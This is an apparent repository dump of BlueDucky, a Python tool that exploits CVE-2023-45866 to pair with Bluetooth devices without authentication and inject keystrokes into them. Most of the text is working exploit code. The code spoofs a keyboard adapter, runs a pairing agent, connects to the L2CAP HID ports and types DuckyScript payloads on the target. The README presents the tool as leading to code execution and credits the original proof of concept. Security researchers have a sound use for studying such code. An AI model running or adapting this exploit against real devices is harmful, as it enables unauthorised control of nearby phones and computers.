├── .gitignore ├── BlueDucky.py ├── README.md ├── __init__.py ├── images ├── BlueDucky.gif ├── duckmenu.png └── start.png ├── payloads ├── payload_example_1.txt ├── payload_example_2.txt └── wp_payload.txt ├── requirements.txt └── utils ├── __pycache__ ├── menu_functions.cpython-311.pyc └── register_device.cpython-311.pyc ├── magic_keyboard_hid.py ├── menu_functions.py └── register_device.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | share/python-wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | MANIFEST 28 | 29 | # PyInstaller 30 | # Usually these files are written by a python script from a template 31 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 32 | *.manifest 33 | *.spec 34 | 35 | # Installer logs 36 | pip-log.txt 37 | pip-delete-this-directory.txt 38 | 39 | # Unit test / coverage reports 40 | htmlcov/ 41 | .tox/ 42 | .nox/ 43 | .coverage 44 | .coverage.* 45 | .cache 46 | nosetests.xml 47 | coverage.xml 48 | *.cover 49 | *.py,cover 50 | .hypothesis/ 51 | .pytest_cache/ 52 | cover/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | .pybuilder/ 76 | target/ 77 | 78 | # Jupyter Notebook 79 | .ipynb_checkpoints 80 | 81 | # IPython 82 | profile_default/ 83 | ipython_config.py 84 | 85 | # pyenv 86 | # For a library or package, you might want to ignore these files since the code is 87 | # intended to run in multiple environments; otherwise, check them in: 88 | # .python-version 89 | 90 | # pipenv 91 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 92 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 93 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 94 | # install all needed dependencies. 95 | #Pipfile.lock 96 | 97 | # poetry 98 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. 99 | # This is especially recommended for binary packages to ensure reproducibility, and is more 100 | # commonly ignored for libraries. 101 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control 102 | #poetry.lock 103 | 104 | # pdm 105 | # Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. 106 | #pdm.lock 107 | # pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it 108 | # in version control. 109 | # https://pdm.fming.dev/#use-with-ide 110 | .pdm.toml 111 | 112 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm 113 | __pypackages__/ 114 | 115 | # Celery stuff 116 | celerybeat-schedule 117 | celerybeat.pid 118 | 119 | # SageMath parsed files 120 | *.sage.py 121 | 122 | # Environments 123 | .env 124 | .venv 125 | env/ 126 | venv/ 127 | ENV/ 128 | env.bak/ 129 | venv.bak/ 130 | 131 | # Spyder project settings 132 | .spyderproject 133 | .spyproject 134 | 135 | # Rope project settings 136 | .ropeproject 137 | 138 | # mkdocs documentation 139 | /site 140 | 141 | # mypy 142 | .mypy_cache/ 143 | .dmypy.json 144 | dmypy.json 145 | 146 | # Pyre type checker 147 | .pyre/ 148 | 149 | # pytype static type analyzer 150 | .pytype/ 151 | 152 | # Cython debug symbols 153 | cython_debug/ 154 | 155 | # PyCharm 156 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can 157 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore 158 | # and can be added to the global gitignore or merged into this file. For a more nuclear 159 | # option (not recommended) you can uncomment the following to ignore the entire idea folder. 160 | #.idea/ 161 | -------------------------------------------------------------------------------- /BlueDucky.py: -------------------------------------------------------------------------------- 1 | import binascii, bluetooth, sys, time, datetime, logging, argparse 2 | from multiprocessing import Process 3 | from pydbus import SystemBus 4 | from enum import Enum 5 | import subprocess 6 | import os 7 | 8 | from utils.menu_functions import (main_menu, read_duckyscript, run, restart_bluetooth_daemon, get_target_address) 9 | from utils.register_device import register_hid_profile, agent_loop 10 | 11 | child_processes = [] 12 | 13 | # ANSI escape sequences for colors 14 | class AnsiColorCode: 15 | RED = '\033[91m' 16 | GREEN = '\033[92m' 17 | YELLOW = '\033[93m' 18 | BLUE = '\033[94m' 19 | WHITE = '\033[97m' 20 | RESET = '\033[0m' 21 | 22 | # Custom log level 23 | NOTICE_LEVEL = 25 24 | 25 | # Custom formatter class with added color for NOTICE 26 | class ColorLogFormatter(logging.Formatter): 27 | COLOR_MAP = { 28 | logging.DEBUG: AnsiColorCode.BLUE, 29 | logging.INFO: AnsiColorCode.GREEN, 30 | logging.WARNING: AnsiColorCode.YELLOW, 31 | logging.ERROR: AnsiColorCode.RED, 32 | logging.CRITICAL: AnsiColorCode.RED, 33 | NOTICE_LEVEL: AnsiColorCode.BLUE, # Color for NOTICE level 34 | } 35 | 36 | def format(self, record): 37 | color = self.COLOR_MAP.get(record.levelno, AnsiColorCode.WHITE) 38 | message = super().format(record) 39 | return f'{color}{message}{AnsiColorCode.RESET}' 40 | 41 | 42 | # Method to add to the Logger class 43 | def notice(self, message, *args, **kwargs): 44 | if self.isEnabledFor(NOTICE_LEVEL): 45 | self._log(NOTICE_LEVEL, message, args, **kwargs) 46 | 47 | # Adding custom level and method to logging 48 | logging.addLevelName(NOTICE_LEVEL, "NOTICE") 49 | logging.Logger.notice = notice 50 | 51 | # Set up logging with color formatter and custom level 52 | def setup_logging(): 53 | log_format = "%(asctime)s - %(levelname)s - %(message)s" 54 | formatter = ColorLogFormatter(log_format) 55 | handler = logging.StreamHandler() 56 | handler.setFormatter(formatter) 57 | 58 | # Set the logging level to INFO to filter out DEBUG messages 59 | logging.basicConfig(level=logging.INFO, handlers=[handler]) 60 | 61 | 62 | class ConnectionFailureException(Exception): 63 | pass 64 | 65 | class Adapter: 66 | def __init__(self, iface): 67 | self.iface = iface 68 | self.bus = SystemBus() 69 | self.adapter = self._get_adapter(iface) 70 | 71 | def _get_adapter(self, iface): 72 | try: 73 | return self.bus.get("org.bluez", f"/org/bluez/{iface}") 74 | except KeyError: 75 | log.error(f"Unable to find adapter '{iface}', aborting.") 76 | raise ConnectionFailureException("Adapter not found") 77 | 78 | def _run_command(self, command): 79 | result = run(command) 80 | if result.returncode != 0: 81 | raise ConnectionFailureException(f"Failed to execute command: {' '.join(command)}. Error: {result.stderr}") 82 | 83 | def set_property(self, prop, value): 84 | # Convert value to string if it's not 85 | value_str = str(value) if not isinstance(value, str) else value 86 | command = ["sudo", "hciconfig", self.iface, prop, value_str] 87 | self._run_command(command) 88 | 89 | # Verify if the property is set correctly 90 | verify_command = ["hciconfig", self.iface, prop] 91 | verification_result = run(verify_command) 92 | if value_str not in verification_result.stdout: 93 | log.error(f"Unable to set adapter {prop}, aborting. Output: {verification_result.stdout}") 94 | raise ConnectionFailureException(f"Failed to set {prop}") 95 | 96 | def power(self, powered): 97 | self.adapter.Powered = powered 98 | 99 | def reset(self): 100 | self.power(False) 101 | self.power(True) 102 | 103 | def enable_ssp(self): 104 | try: 105 | # Command to enable SSP - the actual command might differ 106 | # This is a placeholder command and should be replaced with the actual one. 107 | ssp_command = ["sudo", "hciconfig", self.iface, "sspmode", "1"] 108 | ssp_result = run(ssp_command) 109 | if ssp_result.returncode != 0: 110 | log.error(f"Failed to enable SSP: {ssp_result.stderr}") 111 | raise ConnectionFailureException("Failed to enable SSP") 112 | except Exception as e: 113 | log.error(f"Error enabling SSP: {e}") 114 | raise 115 | 116 | class PairingAgent: 117 | def __init__(self, iface, target_addr): 118 | self.iface = iface 119 | self.target_addr = target_addr 120 | dev_name = "dev_%s" % target_addr.upper().replace(":", "_") 121 | self.target_path = "/org/bluez/%s/%s" % (iface, dev_name) 122 | 123 | def __enter__(self): 124 | try: 125 | log.debug("Starting agent process...") 126 | self.agent = Process(target=agent_loop, args=(self.target_path,)) 127 | self.agent.start() 128 | time.sleep(0.25) 129 | log.debug("Agent process started.") 130 | return self 131 | except Exception as e: 132 | log.error(f"Error starting agent process: {e}") 133 | raise 134 | 135 | def __exit__(self, exc_type, exc_val, exc_tb): 136 | try: 137 | log.debug("Terminating agent process...") 138 | self.agent.kill() 139 | time.sleep(2) 140 | log.debug("Agent process terminated.") 141 | except Exception as e: 142 | log.error(f"Error terminating agent process: {e}") 143 | raise 144 | 145 | class L2CAPConnectionManager: 146 | def __init__(self, target_address): 147 | self.target_address = target_address 148 | self.clients = {} 149 | 150 | def create_connection(self, port): 151 | client = L2CAPClient(self.target_address, port) 152 | self.clients[port] = client 153 | return client 154 | 155 | def connect_all(self): 156 | try: 157 | return sum(client.connect() for client in self.clients.values()) 158 | except ConnectionFailureException as e: 159 | log.error(f"Connection failure: {e}") 160 | raise 161 | 162 | def close_all(self): 163 | for client in self.clients.values(): 164 | client.close() 165 | 166 | # Custom exception to handle reconnection 167 | class ReconnectionRequiredException(Exception): 168 | def __init__(self, message, current_line=0, current_position=0): 169 | super().__init__(message) 170 | time.sleep(2) 171 | self.current_line = current_line 172 | self.current_position = current_position 173 | 174 | class L2CAPClient: 175 | def __init__(self, addr, port): 176 | self.addr = addr 177 | self.port = port 178 | self.connected = False 179 | self.sock = None 180 | 181 | def encode_keyboard_input(*args): 182 | keycodes = [] 183 | flags = 0 184 | for a in args: 185 | if isinstance(a, Key_Codes): 186 | keycodes.append(a.value) 187 | elif isinstance(a, Modifier_Codes): 188 | flags |= a.value 189 | assert(len(keycodes) <= 7) 190 | keycodes += [0] * (7 - len(keycodes)) 191 | report = bytes([0xa1, 0x01, flags, 0x00] + keycodes) 192 | return report 193 | 194 | def close(self): 195 | if self.connected: 196 | self.sock.close() 197 | self.connected = False 198 | self.sock = None 199 | 200 | def reconnect(self): 201 | # Notify the main script or trigger a reconnection process 202 | raise ReconnectionRequiredException("Reconnection required") 203 | 204 | def send(self, data): 205 | if not self.connected: 206 | log.error("[TX] Not connected") 207 | self.reconnect() 208 | 209 | # Get the current timestamp 210 | timestamp = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S.%f")[:-3] 211 | 212 | # Add the timestamp to your log message 213 | log.debug(f"[{timestamp}][TX-{self.port}] Attempting to send data: {binascii.hexlify(data).decode()}") 214 | try: 215 | self.attempt_send(data) 216 | log.debug(f"[TX-{self.port}] Data sent successfully") 217 | except bluetooth.btcommon.BluetoothError as ex: 218 | log.error(f"[TX-{self.port}] Bluetooth error: {ex}") 219 | self.reconnect() 220 | self.send(data) # Retry sending after reconnection 221 | except Exception as ex: 222 | log.error(f"[TX-{self.port}] Exception: {ex}") 223 | raise 224 | 225 | def attempt_send(self, data, timeout=0.5): 226 | start = time.time() 227 | while time.time() - start < timeout: 228 | try: 229 | self.sock.send(data) 230 | return 231 | except bluetooth.btcommon.BluetoothError as ex: 232 | if ex.errno != 11: # no data available 233 | raise 234 | time.sleep(0.001) 235 | 236 | def recv(self, timeout=0): 237 | start = time.time() 238 | while True: 239 | raw = None 240 | if not self.connected: 241 | return None 242 | if self.sock is None: 243 | return None 244 | try: 245 | raw = self.sock.recv(64) 246 | if len(raw) == 0: 247 | self.connected = False 248 | return None 249 | log.debug(f"[RX-{self.port}] Received data: {binascii.hexlify(raw).decode()}") 250 | except bluetooth.btcommon.BluetoothError as ex: 251 | if ex.errno != 11: # no data available 252 | raise ex 253 | else: 254 | if (time.time() - start) < timeout: 255 | continue 256 | return raw 257 | 258 | def connect(self, timeout=None): 259 | log.debug(f"Attempting to connect to {self.addr} on port {self.port}") 260 | log.info("connecting to %s on port %d" % (self.addr, self.port)) 261 | sock = bluetooth.BluetoothSocket(bluetooth.L2CAP) 262 | sock.settimeout(timeout) 263 | try: 264 | sock.connect((self.addr, self.port)) 265 | sock.setblocking(0) 266 | self.sock = sock 267 | self.connected = True 268 | log.debug("SUCCESS! connected on port %d" % self.port) 269 | except Exception as ex: 270 | # Color Definition Again just to avoid errors I should've made a class for this. 271 | red = "\033[91m" 272 | blue = "\033[94m" 273 | reset = "\033[0m" 274 | 275 | error = True 276 | self.connected = False 277 | log.error("ERROR connecting on port %d: %s" % (self.port, ex)) 278 | raise ConnectionFailureException(f"Connection failure on port {self.port}") 279 | if (error == True & self.port == 14): 280 | print("{reset}[{red}!{reset}] {red}CRITICAL ERROR{reset}: {reset}Attempted Connection to {red}{target_address} {reset}was {red}denied{reset}.") 281 | return self.connected 282 | 283 | 284 | 285 | return self.connected 286 | 287 | def send_keyboard_report(self, *args): 288 | self.send(self.encode_keyboard_input(*args)) 289 | 290 | def send_keypress(self, *args, delay=0.0001): 291 | if args: 292 | log.debug(f"Attempting to send... {args}") 293 | self.send(self.encode_keyboard_input(*args)) 294 | time.sleep(delay) 295 | # Send an empty report to release the key 296 | self.send(self.encode_keyboard_input()) 297 | time.sleep(delay) 298 | else: 299 | # If no arguments, send an empty report to release keys 300 | self.send(self.encode_keyboard_input()) 301 | time.sleep(delay) 302 | return True # Indicate successful send 303 | 304 | def send_keyboard_combination(self, modifier, key, delay=0.004): 305 | # Press the combination 306 | press_report = self.encode_keyboard_input(modifier, key) 307 | self.send(press_report) 308 | time.sleep(delay) # Delay to simulate key press 309 | 310 | # Release the combination 311 | release_report = self.encode_keyboard_input() 312 | self.send(release_report) 313 | time.sleep(delay) 314 | 315 | def process_duckyscript(client, duckyscript, current_line=0, current_position=0): 316 | client.send_keypress('') # Send empty report to ensure a clean start 317 | time.sleep(0.5) 318 | 319 | shift_required_characters = "!@#$%^&*()_+{}|:\"<>?ABCDEFGHIJKLMNOPQRSTUVWXYZ" 320 | 321 | try: 322 | for line_number, line in enumerate(duckyscript): 323 | if line_number < current_line: 324 | continue # Skip already processed lines 325 | 326 | if line_number == current_line and current_position > 0: 327 | line = line[current_position:] # Resume from the last position within the current line 328 | else: 329 | current_position = 0 # Reset position for new line 330 | 331 | line = line.strip() 332 | log.info(f"Processing {line}") 333 | if not line or line.startswith("REM"): 334 | continue 335 | if line.startswith("TAB"): 336 | client.send_keypress(Key_Codes.TAB) 337 | if line.startswith("PRIVATE_BROWSER"): 338 | report = bytes([0xa1, 0x01, Modifier_Codes.CTRL.value | Modifier_Codes.SHIFT.value, 0x00, Key_Codes.n.value, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]) 339 | client.send(report) 340 | # Don't forget to send a release report afterwards 341 | release_report = bytes([0xa1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]) 342 | client.send(release_report) 343 | if line.startswith("VOLUME_UP"): 344 | # Send GUI + V 345 | hid_report_gui_v = bytes.fromhex("a1010800190000000000") 346 | client.send(hid_report_gui_v) 347 | time.sleep(0.1) # Short delay 348 | 349 | client.send_keypress(Key_Codes.TAB) 350 | 351 | # Press UP while holding GUI + V 352 | hid_report_up = bytes.fromhex("a1010800195700000000") 353 | client.send(hid_report_up) 354 | time.sleep(0.1) # Short delayF 355 | 356 | # Release all keys 357 | hid_report_release = bytes.fromhex("a1010000000000000000") 358 | client.send(hid_report_release) 359 | if line.startswith("DELAY"): 360 | try: 361 | # Extract delay time from the line 362 | delay_time = int(line.split()[1]) # Assumes delay time is in milliseconds 363 | time.sleep(delay_time / 1000) # Convert milliseconds to seconds for sleep 364 | except ValueError: 365 | log.error(f"Invalid DELAY format in line: {line}") 366 | except IndexError: 367 | log.error(f"DELAY command requires a time parameter in line: {line}") 368 | continue # Move to the next line after the delay 369 | if line.startswith("STRING"): 370 | text = line[7:] 371 | for char_position, char in enumerate(text, start=1): 372 | log.notice(f"Attempting to send letter: {char}") 373 | # Process each character 374 | try: 375 | if char.isdigit(): 376 | key_code = getattr(Key_Codes, f"_{char}") 377 | client.send_keypress(key_code) 378 | elif char == " ": 379 | client.send_keypress(Key_Codes.SPACE) 380 | elif char == "[": 381 | client.send_keypress(Key_Codes.LEFTBRACE) 382 | elif char == "]": 383 | client.send_keypress(Key_Codes.RIGHTBRACE) 384 | elif char == ";": 385 | client.send_keypress(Key_Codes.SEMICOLON) 386 | elif char == "'": 387 | client.send_keypress(Key_Codes.QUOTE) 388 | elif char == "/": 389 | client.send_keypress(Key_Codes.SLASH) 390 | elif char == ".": 391 | client.send_keypress(Key_Codes.DOT) 392 | elif char == ",": 393 | client.send_keypress(Key_Codes.COMMA) 394 | elif char == "|": 395 | client.send_keypress(Key_Codes.PIPE) 396 | elif char == "-": 397 | client.send_keypress(Key_Codes.MINUS) 398 | elif char == "=": 399 | client.send_keypress(Key_Codes.EQUAL) 400 | elif char in shift_required_characters: 401 | key_code_str = char_to_key_code(char) 402 | if key_code_str: 403 | key_code = getattr(Key_Codes, key_code_str) 404 | client.send_keyboard_combination(Modifier_Codes.SHIFT, key_code) 405 | else: 406 | log.warning(f"Unsupported character '{char}' in Duckyscript") 407 | elif char.isalpha(): 408 | key_code = getattr(Key_Codes, char.lower()) 409 | if char.isupper(): 410 | client.send_keyboard_combination(Modifier_Codes.SHIFT, key_code) 411 | else: 412 | client.send_keypress(key_code) 413 | else: 414 | key_code = char_to_key_code(char) 415 | if key_code: 416 | client.send_keypress(key_code) 417 | else: 418 | log.warning(f"Unsupported character '{char}' in Duckyscript") 419 | 420 | current_position = char_position 421 | 422 | except AttributeError as e: 423 | log.warning(f"Attribute error: {e} - Unsupported character '{char}' in Duckyscript") 424 | 425 | elif any(mod in line for mod in ["SHIFT", "ALT", "CTRL", "GUI", "COMMAND", "WINDOWS"]): 426 | # Process modifier key combinations 427 | components = line.split() 428 | if len(components) == 2: 429 | modifier, key = components 430 | try: 431 | # Convert to appropriate enums 432 | modifier_enum = getattr(Modifier_Codes, modifier.upper()) 433 | key_enum = getattr(Key_Codes, key.lower()) 434 | client.send_keyboard_combination(modifier_enum, key_enum) 435 | log.notice(f"Sent combination: {line}") 436 | except AttributeError: 437 | log.warning(f"Unsupported combination: {line}") 438 | else: 439 | log.warning(f"Invalid combination format: {line}") 440 | elif line.startswith("ENTER"): 441 | client.send_keypress(Key_Codes.ENTER) 442 | # After processing each line, reset current_position to 0 and increment current_line 443 | current_position = 0 444 | current_line += 1 445 | 446 | except ReconnectionRequiredException: 447 | raise ReconnectionRequiredException("Reconnection required", current_line, current_position) 448 | except Exception as e: 449 | log.error(f"Error during script execution: {e}") 450 | 451 | def char_to_key_code(char): 452 | # Mapping for special characters that always require SHIFT 453 | shift_char_map = { 454 | '!': 'EXCLAMATION_MARK', 455 | '@': 'AT_SYMBOL', 456 | '#': 'HASHTAG', 457 | '$': 'DOLLAR', 458 | '%': 'PERCENT_SYMBOL', 459 | '^': 'CARET_SYMBOL', 460 | '&': 'AMPERSAND_SYMBOL', 461 | '*': 'ASTERISK_SYMBOL', 462 | '(': 'OPEN_PARENTHESIS', 463 | ')': 'CLOSE_PARENTHESIS', 464 | '_': 'UNDERSCORE_SYMBOL', 465 | '+': 'KEYPADPLUS', 466 | '{': 'LEFTBRACE', 467 | '}': 'RIGHTBRACE', 468 | ':': 'SEMICOLON', 469 | '\\': 'BACKSLASH', 470 | '"': 'QUOTE', 471 | '<': 'COMMA', 472 | '>': 'DOT', 473 | '?': 'QUESTIONMARK', 474 | 'A': 'a', 475 | 'B': 'b', 476 | 'C': 'c', 477 | 'D': 'd', 478 | 'E': 'e', 479 | 'F': 'f', 480 | 'G': 'g', 481 | 'H': 'h', 482 | 'I': 'i', 483 | 'J': 'j', 484 | 'K': 'k', 485 | 'L': 'l', 486 | 'M': 'm', 487 | 'N': 'n', 488 | 'O': 'o', 489 | 'P': 'p', 490 | 'Q': 'q', 491 | 'R': 'r', 492 | 'S': 's', 493 | 'T': 't', 494 | 'U': 'u', 495 | 'V': 'v', 496 | 'W': 'w', 497 | 'X': 'x', 498 | 'Y': 'y', 499 | 'Z': 'z', 500 | 501 | } 502 | return shift_char_map.get(char) 503 | 504 | # Key codes for modifier keys 505 | class Modifier_Codes(Enum): 506 | CTRL = 0x01 507 | RIGHTCTRL = 0x10 508 | 509 | SHIFT = 0x02 510 | RIGHTSHIFT = 0x20 511 | 512 | ALT = 0x04 513 | RIGHTALT = 0x40 514 | 515 | GUI = 0x08 516 | WINDOWS = 0x08 517 | COMMAND = 0x08 518 | RIGHTGUI = 0x80 519 | 520 | class Key_Codes(Enum): 521 | NONE = 0x00 522 | a = 0x04 523 | b = 0x05 524 | c = 0x06 525 | d = 0x07 526 | e = 0x08 527 | f = 0x09 528 | g = 0x0a 529 | h = 0x0b 530 | i = 0x0c 531 | j = 0x0d 532 | k = 0x0e 533 | l = 0x0f 534 | m = 0x10 535 | n = 0x11 536 | o = 0x12 537 | p = 0x13 538 | q = 0x14 539 | r = 0x15 540 | s = 0x16 541 | t = 0x17 542 | u = 0x18 543 | v = 0x19 544 | w = 0x1a 545 | x = 0x1b 546 | y = 0x1c 547 | z = 0x1d 548 | _1 = 0x1e 549 | _2 = 0x1f 550 | _3 = 0x20 551 | _4 = 0x21 552 | _5 = 0x22 553 | _6 = 0x23 554 | _7 = 0x24 555 | _8 = 0x25 556 | _9 = 0x26 557 | _0 = 0x27 558 | ENTER = 0x28 559 | ESCAPE = 0x29 560 | BACKSPACE = 0x2a 561 | TAB = 0x2b 562 | SPACE = 0x2c 563 | MINUS = 0x2d 564 | EQUAL = 0x2e 565 | LEFTBRACE = 0x2f 566 | RIGHTBRACE = 0x30 567 | CAPSLOCK = 0x39 568 | VOLUME_UP = 0x3b 569 | VOLUME_DOWN = 0xee 570 | SEMICOLON = 0x33 571 | COMMA = 0x36 572 | PERIOD = 0x37 573 | SLASH = 0x38 574 | PIPE = 0x31 575 | BACKSLASH = 0x31 576 | GRAVE = 0x35 577 | APOSTROPHE = 0x34 578 | LEFT_BRACKET = 0x2f 579 | RIGHT_BRACKET = 0x30 580 | DOT = 0x37 581 | RIGHT = 0x4f 582 | LEFT = 0x50 583 | DOWN = 0x51 584 | UP = 0x52 585 | 586 | # SHIFT KEY MAPPING 587 | EXCLAMATION_MARK = 0x1e 588 | AT_SYMBOL = 0x1f 589 | HASHTAG = 0x20 590 | DOLLAR = 0x21 591 | PERCENT_SYMBOL = 0x22 592 | CARET_SYMBOL = 0x23 593 | AMPERSAND_SYMBOL = 0x24 594 | ASTERISK_SYMBOL = 0x25 595 | OPEN_PARENTHESIS = 0x26 596 | CLOSE_PARENTHESIS = 0x27 597 | UNDERSCORE_SYMBOL = 0x2d 598 | QUOTE = 0x34 599 | QUESTIONMARK = 0x38 600 | KEYPADPLUS = 0x57 601 | 602 | def terminate_child_processes(): 603 | for proc in child_processes: 604 | if proc.is_alive(): 605 | proc.terminate() 606 | proc.join() 607 | 608 | 609 | def setup_bluetooth(target_address, adapter_id): 610 | restart_bluetooth_daemon() 611 | profile_proc = Process(target=register_hid_profile, args=(adapter_id, target_address)) 612 | profile_proc.start() 613 | child_processes.append(profile_proc) 614 | adapter = Adapter(adapter_id) 615 | adapter.set_property("name", "Robot POC") 616 | adapter.set_property("class", 0x002540) 617 | adapter.power(True) 618 | return adapter 619 | 620 | def initialize_pairing(agent_iface, target_address): 621 | try: 622 | with PairingAgent(agent_iface, target_address) as agent: 623 | log.debug("Pairing agent initialized") 624 | except Exception as e: 625 | log.error(f"Failed to initialize pairing agent: {e}") 626 | raise ConnectionFailureException("Pairing agent initialization failed") 627 | 628 | def establish_connections(connection_manager): 629 | if not connection_manager.connect_all(): 630 | raise ConnectionFailureException("Failed to connect to all required ports") 631 | 632 | def setup_and_connect(connection_manager, target_address, adapter_id): 633 | connection_manager.create_connection(1) # SDP 634 | connection_manager.create_connection(17) # HID Control 635 | connection_manager.create_connection(19) # HID Interrupt 636 | initialize_pairing(adapter_id, target_address) 637 | establish_connections(connection_manager) 638 | return connection_manager.clients[19] 639 | 640 | def troubleshoot_bluetooth(): 641 | # Added this function to troubleshoot common issues before access to the application is granted 642 | 643 | blue = "\033[0m" 644 | red = "\033[91m" 645 | reset = "\033[0m" 646 | # Check if bluetoothctl is available 647 | try: 648 | subprocess.run(['bluetoothctl', '--version'], check=True, stdout=subprocess.PIPE) 649 | except subprocess.CalledProcessError: 650 | print("{reset}[{red}!{reset}] {red}CRITICAL{reset}: {blue}bluetoothctl {reset}is not installed or not working properly.") 651 | return False 652 | 653 | # Check for Bluetooth adapters 654 | result = subprocess.run(['bluetoothctl', 'list'], capture_output=True, text=True) 655 | if "Controller" not in result.stdout: 656 | print("{reset}[{red}!{reset}] {red}CRITICAL{reset}: No {blue}Bluetooth adapters{reset} have been detected.") 657 | return False 658 | 659 | # List devices to see if any are connected 660 | result = subprocess.run(['bluetoothctl', 'devices'], capture_output=True, text=True) 661 | if "Device" not in result.stdout: 662 | print("{reset}[{red}!{reset}] {red}CRITICAL{reset}: No Compatible {blue}Bluetooth devices{reset} are connected.") 663 | return False 664 | 665 | # if no issues are found then continue 666 | return True 667 | 668 | # Main function 669 | def main(): 670 | blue = "\033[0m" 671 | red = "\033[91m" 672 | reset = "\033[0m" 673 | parser = argparse.ArgumentParser(description="Bluetooth HID Attack Tool") 674 | parser.add_argument('--adapter', type=str, default='hci0', help='Specify the Bluetooth adapter to use (default: hci0)') 675 | args = parser.parse_args() 676 | adapter_id = args.adapter 677 | 678 | main_menu() 679 | target_address = get_target_address() 680 | if not target_address: 681 | log.info("No target address provided. Exiting..") 682 | return 683 | 684 | script_directory = os.path.dirname(os.path.realpath(__file__)) 685 | payload_folder = os.path.join(script_directory, 'payloads/') # Specify the relative path to the payloads folder. 686 | payloads = os.listdir(payload_folder) 687 | 688 | blue = "\033[0m" 689 | red = "\033[91m" 690 | reset = "\033[0m" 691 | print(f"\nAvailable payloads{blue}:") 692 | for idx, payload_file in enumerate(payloads, 1): # Check and enumerate the files inside the payload folder. 693 | print(f"{reset}[{blue}{idx}{reset}]{blue}: {blue}{payload_file}") 694 | 695 | blue = "\033[0m" 696 | red = "\033[91m" 697 | reset = "\033[0m" 698 | payload_choice = input(f"\n{blue}Enter the number that represents the payload you would like to load{reset}: {blue}") 699 | selected_payload = None 700 | 701 | try: 702 | payload_index = int(payload_choice) - 1 703 | selected_payload = os.path.join(payload_folder, payloads[payload_index]) 704 | except (ValueError, IndexError): 705 | print(f"Invalid payload choice. No payload selected.") 706 | 707 | if selected_payload is not None: 708 | print(f"{blue}Selected payload{reset}: {blue}{selected_payload}") 709 | duckyscript = read_duckyscript(selected_payload) 710 | else: 711 | print(f"{red}No payload selected.") 712 | 713 | 714 | 715 | if not duckyscript: 716 | log.info("Payload file not found. Exiting.") 717 | return 718 | 719 | adapter = setup_bluetooth(target_address, adapter_id) 720 | adapter.enable_ssp() 721 | 722 | current_line = 0 723 | current_position = 0 724 | connection_manager = L2CAPConnectionManager(target_address) 725 | 726 | while True: 727 | try: 728 | hid_interrupt_client = setup_and_connect(connection_manager, target_address, adapter_id) 729 | process_duckyscript(hid_interrupt_client, duckyscript, current_line, current_position) 730 | time.sleep(2) 731 | break # Exit loop if successful 732 | 733 | except ReconnectionRequiredException as e: 734 | log.info(f"{reset}Reconnection required. Attempting to reconnect{blue}...") 735 | current_line = e.current_line 736 | current_position = e.current_position 737 | connection_manager.close_all() 738 | # Sleep before retrying to avoid rapid reconnection attempts 739 | time.sleep(2) 740 | 741 | finally: 742 | # unpair the target device 743 | blue = "\033[94m" 744 | reset = "\033[0m" 745 | 746 | command = f'echo -e "remove {target_address}\n" | bluetoothctl' 747 | subprocess.run(command, shell=True) 748 | print(f"{blue}Successfully Removed device{reset}: {blue}{target_address}{reset}") 749 | 750 | if __name__ == "__main__": 751 | setup_logging() 752 | log = logging.getLogger(__name__) 753 | try: 754 | if troubleshoot_bluetooth(): 755 | main() 756 | else: 757 | sys.exit(0) 758 | finally: 759 | terminate_child_processes() 760 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # BlueDucky Ver 2.1 (Android) 🦆 2 | 3 | Thanks to all the people at HackNexus. Make sure you come join us on VC ! 4 | https://discord.gg/HackNexus 5 | 6 | NOTES: I will not be able to run this on a laptop or other device outside of a raspberry pi for testing. Due to this, any issues you have will need to be resolved amonsgt each other as I do not have the spare funds to buy an adapter. 7 | 8 | 1. [saad0x1's GitHub](https://github.com/saad0x1) 9 | 2. [spicydll's GitHub](https://github.com/spicydll) 10 | 3. [lamentomori's GitHub](https://github.com/lamentomori) 11 | 12 |

13 | 14 |

15 | 16 | 🚨 CVE-2023-45866 - BlueDucky Implementation (Using DuckyScript) 17 | 18 | 🔓 Unauthenticated Peering Leading to Code Execution (Using HID Keyboard) 19 | 20 | [This is an implementation of the CVE discovered by marcnewlin](https://github.com/marcnewlin/hi_my_name_is_keyboard) 21 | 22 |

23 | 24 |

